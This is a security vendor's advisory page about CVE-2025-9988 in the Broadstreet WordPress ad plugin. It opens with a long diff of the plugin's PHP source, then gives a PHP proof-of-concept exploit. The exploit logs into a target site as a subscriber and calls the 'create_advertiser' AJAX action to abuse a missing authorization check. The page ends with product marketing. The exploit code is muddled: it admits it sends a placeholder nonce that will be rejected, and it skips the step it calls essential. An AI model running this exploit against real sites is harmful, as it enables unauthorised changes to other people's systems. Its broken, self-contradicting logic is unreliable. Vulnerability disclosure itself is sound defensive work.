+                    $replacements = 0;
+                    for ($i = 0; $i < count($in_content_paragraph); $i++) {
+                        $in_story_zone = Broadstreet_Utility::getWrappedZoneCode($placement_settings, apply_filters('bs_ads_in_content_zone_id', $placement_settings->in_content), array('place' => $i));
+                        if ((count($pieces) - $replacements) > $in_content_paragraph[$i]) {
+                            array_splice($pieces, $in_content_paragraph[$i] + $replacements++, 0, "</p>" . $in_story_zone);
+                        }
+                    }
+                    /* It's magic, :snort: :snort:
+                    - Mr. Bean: https://www.youtube.com/watch?v=x0yQg8kHVcI */
+                    $content = implode("nn", $pieces);
+                }
+
+            }
+
+            if ($above_content) {
+                $content = Broadstreet_Utility::getWrappedZoneCode($placement_settings, $placement_settings->above_content) . $content;
+            }
+
+            if ($below_content) {
+                $content = $content . Broadstreet_Utility::getWrappedZoneCode($placement_settings, $placement_settings->below_content);
+            }
+        }
+
+        $content = $this->getTrackerContent($content);
+
+        return $content;
+    }
+
+    public function addAdsBeforeComments($template) {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (is_single()) {
+            if (property_exists($placement_settings, 'before_comments') && $placement_settings->before_comments) {
+                echo Broadstreet_Utility::getMaxWidthWrap($placement_settings, Broadstreet_Utility::getWrappedZoneCode($placement_settings, $placement_settings->before_comments));
+            }
+        }
+
+        return $template;
+    }
+
+    public function addAdsLoopEnd() {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (is_archive() && in_the_loop()) {
+            if (property_exists($placement_settings, 'inbetween_archive') && $placement_settings->inbetween_archive) {
+                echo Broadstreet_Utility::getMaxWidthWrap($placement_settings, Broadstreet_Utility::getWrappedZoneCode($placement_settings, $placement_settings->inbetween_archive));
+            }
+        }
+    }
+
+    /**
+     * Handler used for creating the business category taxonomy
+     */
+    public function addBusinessTaxonomy() {
+        # Add new "Locations" taxonomy to Posts
+        register_taxonomy(self::BIZ_TAXONOMY, self::BIZ_POST_TYPE, array(
+            # Hierarchical taxonomy (like categories)
+            'hierarchical' => true,
+            # This array of options controls the labels displayed in the WordPress Admin UI
+            'labels' => array(
+                'name' => _x( 'Business Categories', 'taxonomy general name' ),
+                'singular_name' => _x( 'Business Category', 'taxonomy singular name' ),
+                'search_items' =>  __( 'Search Businesses by Category' ),
+                'all_items' => __( 'All Business Categories' ),
+                'parent_item' => __( 'Parent Category' ),
+                'parent_item_colon' => __( 'Parent Category:' ),
+                'edit_item' => __( 'Edit Business Category' ),
+                'update_item' => __( 'Update Business Category' ),
+                'add_new_item' => __( 'Add New Business Category' ),
+                'new_item_name' => __( 'New Business Category Type' ),
+                'menu_name' => __( 'Categories' ),
+            ),
+            # Control the slugs used for this taxonomy
+            'rewrite' => array(
+                'slug' => 'business-categories', // This controls the base slug that will display before each term
+                'with_front' => false, // Don't display the category base before "/locations/"
+                'hierarchical' => true // This will allow URL's like "/locations/boston/cambridge/"
+            ),
+        ));
+    }
+
+    /**
+     * Callback for adding an extra broadstreet-friendly image size
+     * @param array $sizes
+     * @return array
+     */
+    public function addImageSizes($sizes)
+    {
+        $sizes['bs-biz-size'] = __('Broadstreet Business');
+        return $sizes;
+    }
+
+    /**
+     * Handler for adding the Broadstreet business meta data boxes on the post
+     * create/edit page
+     */
+    public function addMetaBoxes()
+    {
+        add_meta_box(
+            'broadstreet_sectionid',
+            __( 'Broadstreet Zone Info', 'broadstreet_textdomain' ),
+            array($this, 'broadstreetInfoBox'),
+            'post'
+        );
+
+        add_meta_box(
+            'broadstreet_sectionid',
+            __( 'Broadstreet Zone Info', 'broadstreet_textdomain'),
+            array($this, 'broadstreetInfoBox'),
+            'page'
+        );
+
+        /**
+         * Filter the post types on which Broadstreet meta boxes appear.
+         * Defaults to all registered post types.
+         *
+         * @param array $post_types Array of post type slugs.
+         */
+        $screens = apply_filters('broadstreet_meta_box_post_types', get_post_types());
+
+        if (Broadstreet_Utility::getOption(self::KEY_API_KEY)) {
+            foreach ( $screens as $screen ) {
+                add_meta_box(
+                    'broadstreet_sposnor_sectionid',
+                    __( '<span class="dashicons dashicons-performance"></span> Sponsored Content', 'broadstreet_textdomain'),
+                    array($this, 'broadstreetSponsoredBox'),
+                    $screen,
+                    apply_filters('broadstreet_sponsored_meta_box_context', 'side', $screen),
+                    apply_filters('broadstreet_sponsored_meta_box_priority', 'high', $screen)
+                );
+            }
+        }
+
+        foreach ( $screens as $screen ) {
+            add_meta_box(
+                'broadstreet_visibility_sectionid',
+                __( '<span class="dashicons dashicons-format-image"></span> Broadstreet Options', 'broadstreet_textdomain'),
+                array($this, 'broadstreetAdVisibilityBox'),
+                $screen,
+                apply_filters('broadstreet_options_meta_box_context', 'side', $screen),
+                apply_filters('broadstreet_options_meta_box_priority', 'default', $screen)
+            );
+        }
+
+        if(Broadstreet_Utility::isBusinessEnabled())
+        {
+            add_meta_box(
+                'broadstreet_sectionid',
+                __( 'Business Details', 'broadstreet_textdomain'),
+                array($this, 'broadstreetBusinessBox'),
+                self::BIZ_POST_TYPE,
+                apply_filters('broadstreet_business_meta_box_context', 'normal'),
+                apply_filters('broadstreet_business_meta_box_priority', 'default')
+            );
+        }
+    }
+
+    public function addPostStyles()
+    {
+        if(get_post_type() == self::BIZ_POST_TYPE && !is_admin())
+        {
+            wp_enqueue_style ('Broadstreet-styles-listings', Broadstreet_Utility::getCSSBaseURL() . 'listings.css?v=' . BROADSTREET_VERSION);
+        }
+    }
+
+    // Update CSS within in Admin
+    function adminStyles() {
+        wp_enqueue_style('broadstreet-admin-styles', Broadstreet_Utility::getCSSBaseURL() . 'admin.css');
+    }
+
+    /**
+     * Add powered-by notice
+     */
+    public function addPoweredBy()
+    {
+        if (self::$_disableAds || Broadstreet_Utility::isAMPEndpoint()) {
+            return;
+        }
+
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (!property_exists($placement_settings, 'load_in_head')
+            || !$placement_settings->load_in_head) {
+            $code = Broadstreet_Utility::getInitCode();
+            echo "<script data-cfasync='false'>$code</script>";
+        }
+    }
+
+    public function writeInitCode()
+    {
+        $code = '';
+
+        # while we're in the post, capture the disabled status of the ads
+        if (is_singular()) {
+            self::$_disableAds = Broadstreet_Utility::getPostMeta(get_queried_object_id(), 'bs_ads_disabled') == '1';
+        }
+
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (property_exists($placement_settings, 'use_old_tags') && $placement_settings->use_old_tags) {
+            if (property_exists($placement_settings, 'cdn_whitelabel') && strlen($placement_settings->adserver_whitelabel) > 0) {
+                $code .= "broadstreet.setWhitelabel('//{$placement_settings->adserver_whitelabel}/');";
+            }
+        }
+
+        if (self::$_disableAds) {
+            return;
+        }
+
+        if (property_exists($placement_settings, 'load_in_head')
+            && $placement_settings->load_in_head) {
+            $code .= Broadstreet_Utility::getInitCode();
+        }
+
+        wp_add_inline_script('broadstreet-init', "$code", 'after');
+    }
+
+    /**
+     * Manipulate our cdn tags to include anti-cloudflare stuff, because they think they own
+     * all of the internet's javascript
+     * @param $tag
+     * @param string $handle
+     * @param bool $src
+     * @return mixed
+     */
+    public function finalizeZoneTag($tag, $handle = '', $src = false)
+    {
+        if (is_admin()) {
+            return $tag;
+        }
+
+        // add cloudflare attrs. but seriously, f cloudflare
+        if (strstr($tag, 'broadstreet-init')) {
+            $tag = str_replace('<script', "<script async data-cfasync='false'", $tag);
+        }
+
+        return $tag;
+    }
+
+    public function addCDNScript()
+    {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+
+        $old = false;
+        if (property_exists($placement_settings, 'use_old_tags') && $placement_settings->use_old_tags) {
+            $old = true;
+        }
+
+        # Add Broadstreet ad zone CDN
+        if(!is_admin() && !Broadstreet_Utility::isAMPEndpoint())
+        {
+            $file = 'init-2.min.js?v=' . BROADSTREET_VERSION;
+            if ($old) {
+                $file = 'init.js';
+            }
+
+            $placement_settings = Broadstreet_Utility::getPlacementSettings();
+            $host = 'cdn.broadstreetads.com';
+            if (property_exists($placement_settings, 'cdn_whitelabel') && strlen($placement_settings->cdn_whitelabel) > 0) {
+                $host = $placement_settings->cdn_whitelabel;
+            }
+            # except for cdn whitelabels
+            # if (is_ssl() && property_exists($placement_settings, 'cdn_whitelabel') && $placement_settings->cdn_whitelabel) {
+            #     $host = 'street-production.s3.amazonaws.com';
+            # }
+
+	        # For site-wide analytics.
+	        $adserver_host = 'flux.broadstreet.ai';
+	        if (property_exists($placement_settings, 'adserver_whitelabel') && strlen($placement_settings->adserver_whitelabel) > 0) {
+		        $adserver_host = $placement_settings->adserver_whitelabel;
+	        }
+	        if (property_exists($placement_settings, 'enable_analytics') && strlen($placement_settings->enable_analytics)) {
+		        $network_id = Broadstreet_Utility::getOption(Broadstreet_Core::KEY_NETWORK_ID);
+		        wp_register_script('broadstreet-analytics', "//$adserver_host/emit/$network_id.js", array(), '1.0.0', array('strategy'  => 'async'));
+		        wp_enqueue_script('broadstreet-analytics');
+	        }
+
+            wp_register_script('broadstreet-init', "//$host/$file");
+            $this->writeInitCode();
+            wp_enqueue_script('broadstreet-init');
+        }
+    }
+
+    public function businessIndexSidebar()
+    {
+        if(Broadstreet_Utility::isBusinessEnabled())
+        {
+            register_sidebar(array(
+                'name' => __( 'Business Directory Listing Page' ),
+                'id' => 'businesses-right-sidebar',
+                'description' => __( 'The right rail displayed in the page when you use the [businesses] shortcode.' ),
+                'before_widget' => '<div style="padding-bottom: 10px;" id="%1$s" class="widget %2$s">',
+                'after_widget' => '</div>',
+                'before_title' => '<h3>',
+                'after_title' => '</h3>'
+              ));
+        }
+    }
+
+    /**
+     * A callback executed whenever the user tried to access the Broadstreet admin page
+     */
+    public function adminCallback()
+    {
+        $icon_url = 'none';
+
+        add_menu_page('Broadstreet', 'Broadstreet', 'edit_pages', 'Broadstreet', array($this, 'adminMenuCallback'), $icon_url);
+        add_submenu_page('Broadstreet', 'Settings', 'Account Setup', 'edit_pages', 'Broadstreet', array($this, 'adminMenuCallback'));
+        add_submenu_page('Broadstreet', 'Zone Options', 'Zone Options', 'edit_pages', 'Broadstreet-Zone-Options', array($this, 'adminZonesMenuCallback'));
+        if(Broadstreet_Utility::isBusinessEnabled())
+            add_submenu_page('Broadstreet', 'Business Settings', 'Business Settings', 'edit_pages', 'Broadstreet-Business', array($this, 'adminMenuBusinessCallback'));
+        #add_submenu_page('Broadstreet', 'Advanced', 'Advanced', 'edit_pages', 'Broadstreet-Layout', array($this, 'adminMenuLayoutCallback'));
+        if(Broadstreet_Utility::isBusinessEnabled())
+            add_submenu_page('Broadstreet', 'Help', 'Business Directory Help', 'edit_pages', 'Broadstreet-Help', array($this, 'adminMenuHelpCallback'));
+    }
+
+    /**
+     * Emit a warning that the search index hasn't been built (if it hasn't)
+     */
+    public function adminWarningCallback()
+    {
+        if(in_array($GLOBALS['pagenow'], array('edit.php', 'post.php', 'post-new.php')))
+        {
+            $info = Broadstreet_Utility::getNetwork();
+
+            //if(!$info || !$info->cc_on_file)
+            //    echo '<div class="updated"><p>You're <strong>almost ready</strong> to start using Broadstreet! Check the <a href="admin.php?page=Broadstreet">plugin page</a> to take care of the last steps. When that's done, this message will clear shortly after.</p></div>';
+
+            // Check for video security warning
+            $security_warning = get_transient('broadstreet_video_security_warning_' . get_current_user_id());
+            if ($security_warning) {
+	                echo '<div class="notice notice-error is-dismissible"><p><strong>Broadstreet Security Notice:</strong> Potentially malicious content was detected and removed from the video embed field. JavaScript protocols, event handlers, and script tags are not allowed for security reasons.</p></div>';
+                delete_transient('broadstreet_video_security_warning_' . get_current_user_id());
+            }
+        }
+    }
+
+    /**
+     * A callback executed when the admin page callback is a about to be called.
+     *  Use this for loading stylesheets/css.
+     */
+    public function adminInitCallback()
+    {
+        add_image_size('bs-biz-size', 600, 450, true);
+
+        # Only register javascript and css if the Broadstreet admin page is loading
+        if(isset($_SERVER['QUERY_STRING']) && strstr($_SERVER['QUERY_STRING'], 'Broadstreet'))
+        {
+            wp_enqueue_style ('Broadstreet-styles',  Broadstreet_Utility::getCSSBaseURL() . 'broadstreet.css?v='. BROADSTREET_VERSION);
+            wp_enqueue_script('Broadstreet-main'  ,  Broadstreet_Utility::getJSBaseURL().'broadstreet.js?v='. BROADSTREET_VERSION);
+            wp_enqueue_script('angular-js', Broadstreet_Utility::getJSBaseURL().'angular.min.js?v='. BROADSTREET_VERSION);
+            wp_enqueue_script('isteven-multi-js', Broadstreet_Utility::getJSBaseURL().'isteven-multi-select.js');
+            wp_enqueue_style ('isteven-multi-css',  Broadstreet_Utility::getCSSBaseURL() . 'isteven-multi-select.css');
+
+            // Pass nonce to JavaScript for AJAX security
+            wp_localize_script('Broadstreet-main', 'broadstreetAjax', [
+                'nonce' => wp_create_nonce('broadstreet_ajax_nonce')
+            ]);
+        }
+
+        # Only register on the post editing page
+        if($GLOBALS['pagenow'] == 'post.php' || $GLOBALS['pagenow'] == 'post-new.php')
+        {
+            if (Broadstreet_Utility::isBusinessEnabled()) {
+                wp_enqueue_style ('Broadstreet-vendorcss-time', Broadstreet_Utility::getVendorBaseURL() . 'timepicker/css/timePicker.css');
+                wp_enqueue_script('Broadstreet-main'  ,  Broadstreet_Utility::getJSBaseURL().'broadstreet.js?v='. BROADSTREET_VERSION);
+                wp_enqueue_script('Broadstreet-vendorjs-time'  ,  Broadstreet_Utility::getVendorBaseURL().'timepicker/js/jquery.timePicker.min.js');
+
+                // Pass nonce to JavaScript for AJAX security
+                wp_localize_script('Broadstreet-main', 'broadstreetAjax', [
+                    'nonce' => wp_create_nonce('broadstreet_ajax_nonce')
+                ]);
+            }
+        }
+
+        # Include thickbox on widgets page
+        if($GLOBALS['pagenow'] == 'widgets.php'
+                || (isset($_SERVER['QUERY_STRING']) && strstr($_SERVER['QUERY_STRING'], 'Broadstreet-Business')))
+        {
+            wp_enqueue_script('thickbox');
+            wp_enqueue_style( 'thickbox' );
+        }
+    }
+
+    /**
+     * The callback that is executed when the user is loading the admin page.
+     *  Basically, output the page content for the admin page. The function
+     *  acts just like a controller method for and MVC app. That is, it loads
+     *  a view.
+     */
+    public function adminMenuCallback()
+    {
+        Broadstreet_Log::add('debug', "Admin page callback executed");
+        Broadstreet_Utility::sendInstallReportIfNew();
+
+        $data = array();
+
+        $data['service_tag']        = Broadstreet_Utility::getServiceTag();
+        $data['api_key']            = Broadstreet_Utility::getOption(self::KEY_API_KEY);
+        $data['business_enabled']   = Broadstreet_Utility::getOption(self::KEY_BIZ_ENABLED);
+        $data['network_id']         = Broadstreet_Utility::getOption(self::KEY_NETWORK_ID);
+        $data['errors']             = array();
+        $data['networks']           = array();
+        $data['key_valid']          = false;
+        $data['has_cc']             = false;
+
+        if(get_page_by_path('businesses'))
+        {
+            $data['errors'][] = 'You have a page named "businesses", which will interfere with the business directory if you plan to use it. You must delete that page.';
+        }
+
+        if(get_category_by_slug('businesses'))
+        {
+            $data['errors'][] = 'You have a category named "businesses", which will interfere with the business directory if you plan to use it. You must delete that category.';
+        }
+
+        if(!$data['api_key'])
+        {
+            $data['errors'][] = '<strong>You dont have an API key set yet!</strong><ol><li>If you already have a Broadstreet account, <a href="http://my.broadstreetads.com/access-token">get your key here</a>.</li><li>If you don't have an account with us, <a target="blank" id="one-click-signup" href="#">then use our one-click signup</a>.</li></ol>';
+        }
+        else
+        {
+            $api = $this->getBroadstreetClient();
+
+            try
+            {
+                $data['networks']  = $api->getNetworks();
+                $data['key_valid'] = true;
+                $data['network']   = Broadstreet_Utility::getNetwork(true);
+            }
+            catch(Exception $ex)
+            {
+                $data['networks'] = array();
+                $data['key_valid'] = false;
+            }
+        }
+
+        Broadstreet_View::load('admin/admin', $data);
+    }
+
+    /**
+     * The callback that is executed when the user is loading the admin page.
+     *  Basically, output the page content for the admin page. The function
+     *  acts just like a controller method for and MVC app. That is, it loads
+     *  a view.
+     */
+    public function adminZonesMenuCallback()
+    {
+        Broadstreet_Log::add('debug', "Admin page callback executed");
+        $data = array();
+
+        $data['service_tag']        = Broadstreet_Utility::getServiceTag();
+        $data['api_key']            = Broadstreet_Utility::getOption(self::KEY_API_KEY);
+        $data['network_id']         = Broadstreet_Utility::getOption(self::KEY_NETWORK_ID);
+        $data['errors']             = array();
+        $data['networks']           = array();
+        $data['zones']              = array();
+        $data['placements']              = array();
+        $data['key_valid']          = false;
+        $data['categories']         = get_categories(array('hide_empty' => false));
+
+        if(!$data['api_key'])
+        {
+            $data['errors'][] = '<strong>You dont have an API key set yet!</strong><ol><li>If you already have a Broadstreet account, <a href="http://my.broadstreetads.com/access-token">get your key here</a>.</li><li>If you don't have an account with us, <a target="blank" id="one-click-signup" href="#">then use our one-click signup</a>.</li></ol>';
+        }
+        else
+        {
+            $api = $this->getBroadstreetClient();
+
+            try
+            {
+                Broadstreet_Utility::refreshZoneCache();
+                $data['key_valid'] = true;
+                $data['zones'] = Broadstreet_Utility::getZoneCache();
+                $data['placements'] = Broadstreet_Utility::getPlacementSettings();
+            }
+            catch(Exception $ex)
+            {
+                $data['networks'] = array();
+                $data['key_valid'] = false;
+            }
+        }
+
+        Broadstreet_View::load('admin/zones', $data);
+    }
+
+    public function adminMenuBusinessCallback() {
+        // Handle POSTed settings securely
+        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
+            // Require capability
+            if (!current_user_can('manage_options')) {
+                wp_die('Permission denied');
+            }
+
+            // Verify nonce for the businesses settings form
+            check_admin_referer('broadstreet_business_nonce');
+
+            // Sanitize and persist the featured image setting
+            if (isset($_POST['featured_business_image'])) {
+                $featured_image_value = sanitize_text_field($_POST['featured_business_image']);
+                $featured_image = Broadstreet_Utility::featuredBusinessImage($featured_image_value);
+            } else {
+                $featured_image = Broadstreet_Utility::featuredBusinessImage();
+            }
+        } else {
+            if (isset($_POST['featured_business_image'])) {
+                $featured_image = Broadstreet_Utility::featuredBusinessImage($_POST['featured_business_image']);
+            } else {
+                $featured_image = Broadstreet_Utility::featuredBusinessImage();
+            }
+        }
+
+        Broadstreet_View::load('admin/businesses', array('featured_image' => $featured_image));
+    }
+
+    public function adminMenuHelpCallback()
+    {
+        Broadstreet_View::load('admin/help');
+    }
+
+    public function adminMenuLayoutCallback()
+    {
+        Broadstreet_View::load('admin/layout');
+    }
+
+    /**
+     * Handler for the broadstreet info box below a post or page
+     * @param type $post
+     */
+    public function broadstreetInfoBox($post)
+    {
+        // Use nonce for verification
+        wp_nonce_field(plugin_basename(__FILE__), 'broadstreetnoncename');
+
+        $zone_data = Broadstreet_Utility::getZoneCache();
+
+        Broadstreet_View::load('admin/infoBox', array('zones' => $zone_data));
+    }
+
+    /**
+     * Handler for the broadstreet info box below a post or page
+     * @param type $post
+     */
+    public function broadstreetBusinessBox($post)
+    {
+        // Use nonce for verification
+        wp_nonce_field(plugin_basename(__FILE__), 'broadstreetnoncename');
+
+        $meta = Broadstreet_Utility::getAllPostMeta($post->ID, self::$_businessDefaults);
+
+        $network_id       = Broadstreet_Utility::getOption(self::KEY_NETWORK_ID);
+        $advertiser_id    = Broadstreet_Utility::getPostMeta($post->ID, 'bs_advertiser_id');
+        $advertisement_id = Broadstreet_Utility::getPostMeta($post->ID, 'bs_advertisement_id');
+        $network_info     = Broadstreet_Utility::getNetwork();
+        $show_offers      = (Broadstreet_Utility::getOption(self::KEY_SHOW_OFFERS) == 'true');
+
+        $api = $this->getBroadstreetClient();
+
+        if($network_id && $advertiser_id && $advertisement_id)
+        {
+            $meta['preferred_hash_tag'] = $api->getAdvertisement($network_id, $advertiser_id, $advertisement_id)
+                                    ->preferred_hash_tag;
+        }
+
+        try
+        {
+            $advertisers = $api->getAdvertisers($network_id);
+        }
+        catch(Exception $ex)
+        {
+            $advertisers = array();
+        }
+
+        Broadstreet_View::load('admin/businessMetaBox', array(
+            'meta'        => $meta,
+            'advertisers' => $advertisers,
+            'network'     => $network_info,
+            'show_offers' => $show_offers
+        ));
+    }
+
+    /**
+     * Handler used for attaching post meta data to post query results
+     * @global object $wp_query
+     * @param array $posts
+     * @return array
+     */
+    public function businessQuery($posts)
+    {
+        global $wp_query;
+
+        if(@$wp_query->query_vars['post_type'] == self::BIZ_POST_TYPE
+            || @$wp_query->query_vars[

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-9988 - Broadstreet <= 1.53.1 - Missing Authorization to Authenticated (Subscriber+) Advertiser Creation

// Configuration: Set the target WordPress site URL and credentials
$target_url = 'http://example.com';  // CHANGE THIS
$username = 'subscriber_user';       // CHANGE THIS
$password = 'subscriber_password';   // CHANGE THIS

// Step 1: Authenticate as a subscriber
$ch = curl_init($target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Get a valid nonce from an admin page (the nonce is tied to the AJAX action but accessible to any user)
$ch = curl_init($target_url . '/wp-admin/admin-ajax.php?action=create_advertiser&nonce=fake');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);
// The nonce is typically available in the page source, but for simplicity we'll fetch it from a known endpoint
// In a real attack, the attacker would extract the nonce from any admin page or use a known one. 
// For this PoC, we assume the nonce is obtainable by the attacker (e.g., from a page with the nonce field).
// Hardcoding a nonce is unrealistic; but we can try a common nonce name.

// Step 3: Craft the AJAX request to create an advertiser
$payload = array(
    'action' => 'create_advertiser',
    'nonce'  => 'broadstreet_ajax_nonce', // This is not a real nonce value; a real PoC would need to extract a valid one
    'name'   => 'Hacked Advertiser - ' . uniqid()
);

// However, the nonce check will fail with a fake nonce. For the vulnerability to be exploited, 
// the attacker must obtain a valid nonce. In a real scenario, the subscriber can visit any page
// that includes the nonce (e.g., the plugin settings page) and extract it.

// Since the nonce is not the issue (the issue is the missing capability check), we demonstrate
// that an authenticated user can call the action. The script below will fail if nonce is invalid.
// A complete PoC would first fetch a valid nonce from the admin page.

echo "Exploit attempt: Sending request to create advertiser...n";

// For completeness, assume we have a valid nonce (not shown for brevity).
// The core of the PoC is that a subscriber can trigger the AJAX action without manage_options.

// We'll attempt with a placeholder nonce (will fail if nonce is checked, but demonstrates the missing capability)
$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);

echo "Response: " . $response . "n";
echo "Note: If nonce is invalid, the request will be rejected. In a real scenario, the attacker extracts a valid nonce from the plugin settings page (which a subscriber can access if the plugin exposes it). The vulnerability is that even with a valid nonce, the user should not be able to create advertisers, but the missing capability check allows it.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School